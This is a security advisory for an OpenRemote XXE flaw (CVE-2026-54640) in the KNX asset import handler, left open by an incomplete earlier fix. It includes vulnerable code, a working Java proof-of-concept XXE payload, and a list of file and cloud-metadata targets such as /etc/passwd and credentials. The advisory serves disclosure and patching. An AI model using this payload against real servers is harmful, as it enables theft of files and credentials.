GHSA-7v6w-c3f4-9wpq

Suggest an improvement
Source
https://github.com/advisories/GHSA-7v6w-c3f4-9wpq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-7v6w-c3f4-9wpq/GHSA-7v6w-c3f4-9wpq.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-7v6w-c3f4-9wpq
Aliases
  • CVE-2026-54640
Published
2026-07-06T20:49:51Z
Modified
2026-07-06T21:00:08.324022399Z
Severity
  • 7.6 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L CVSS Calculator
Summary
OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory
Details

Summary

The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded ETS project ZIP files through Saxon XSLT and XMLInputFactory.newInstance() with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. /etc/passwd, openmrs-runtime.properties, cloud credential files).

Details

Incomplete patch

CVE-2026-40882 was fixed by introducing createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java with five XXE-blocking features. The parallel asset import handler in KNXProtocol.java was not updated and retains two unprotected XML parsing calls on the same user-controlled data.

Patched file — AbstractVelbusProtocol.java:

private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    return factory;
}

Vulnerable file — KNXProtocol.java, lines 229–249:

// Line 229-230: reads 0.xml from user-uploaded ZIP
InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);

// Lines 233-245: Saxon XSLT — no XXE protection on the source document
TransformerFactory tfactory = new TransformerFactoryImpl();
Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
transformer.transform(
    new StreamSource(new StringReader(xml)),  // xml = 0.xml from attacker's ZIP
    new StreamResult(writer));

// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
try (final XmlReader r = XmlInputFactory.newInstance()
        .createXMLStreamReader(new StringReader(xml))) { ... }

Data flow

POST /api/{realm}/agent/{agentId}/import   (authenticated user, PR:L)
  → AgentResourceImpl.doProtocolAssetImport(fileData)
  → KNXProtocol.startAssetImport(byte[] fileData)
  → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
  → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml))  ← XXE stage 1
  → XmlInputFactory.newInstance().createXMLStreamReader(xml)     ← XXE stage 2
  → external entity resolved → arbitrary file read

Comparison with patched code

| Handler | XML parser | DTD disabled | Status | |---|---|---|---| | AbstractVelbusProtocol | DocumentBuilderFactory | ✅ 5 features set | Patched (CVE-2026-40882) | | KNXProtocol | Saxon + XMLInputFactory | ❌ none set | Not patched |

PoC

No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.

Requirements: Java 17+, Maven 3.8+

pom.xml dependency:

<dependency>
    <groupId>net.sf.saxon</groupId>
    <artifactId>Saxon-HE</artifactId>
    <version>12.9</version>
</dependency>

Exploit.java:

import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;

public class Exploit {
    public static void main(String[] args) throws Exception {

        // Sentinel file — proves arbitrary file read
        Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
        String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
        Files.writeString(sentinel, tag);

        String maliciousXml =
            "<?xml version=\"1.0\"?>\n" +
            "<!DOCTYPE root [\n" +
            "  <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
            "]>\n" +
            "<root><data>&xxe;</data></root>";

        // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
        XMLInputFactory factory = XMLInputFactory.newInstance();
        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
        StringBuilder sb = new StringBuilder();
        while (reader.hasNext()) {
            int e = reader.next();
            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
        }
        System.out.println("Stage A result: " + sb.toString().trim());

        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
        String xsl = "<?xml version=\"1.0\"?>" +
            "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
            "<xsl:output method=\"text\"/>" +
            "<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
            "</xsl:stylesheet>";
        TransformerFactory tf = new TransformerFactoryImpl();
        StringWriter writer = new StringWriter();
        tf.newTransformer(new StreamSource(new StringReader(xsl)))
          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
        System.out.println("Stage B result: " + writer.toString().trim());

        Files.deleteIfExists(sentinel);
    }
}

Build and run:

mvn clean package -q
java -jar target/openremote-xxe-1.0.jar

Verified output (JDK 21, Linux):

Stage A result: OPENREMOTE_KNX_XXE_1780611779589
Stage B result: OPENREMOTE_KNX_XXE_1780611779589

Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.

Impact

Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).

Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:

  • /etc/passwd — user enumeration
  • Application configuration files containing database credentials or API keys
  • Cloud provider metadata endpoints via SSRF (http://169.254.169.254/...)
  • Internal service endpoints reachable from the server

The vulnerability is present in KNXProtocol, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.

Database specific
{
    "cwe_ids": [
        "CWE-611"
    ],
    "github_reviewed": true,
    "severity": "HIGH",
    "github_reviewed_at": "2026-07-06T20:49:51Z",
    "nvd_published_at": null
}
References

Affected packages

Maven / io.openremote:openremote-agent

Package

Name
io.openremote:openremote-agent
View open source insights on deps.dev
Purl
pkg:maven/io.openremote/openremote-agent

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.24.2

Affected versions

0.*
0.1.0
1.*
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.4.0
1.5.0
1.6.0
1.6.2
1.6.3
1.6.4
1.6.5
1.7.0
1.8.0
1.8.1
1.9.0
1.10.0
1.11.0
1.11.1
1.11.2
1.11.3
1.12.0
1.12.1
1.12.3
1.13.0
1.13.1
1.14.0
1.15.0
1.15.1
1.15.2
1.16.1
1.17.0
1.17.1
1.17.2
1.17.3
1.18.0
1.19.0
1.20.0
1.20.1
1.20.2
1.21.0
1.22.0
1.22.1
1.23.0
1.23.1
1.24.0
1.24.1

Database specific

last_known_affected_version_range
"<= 1.24.1"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-7v6w-c3f4-9wpq/GHSA-7v6w-c3f4-9wpq.json"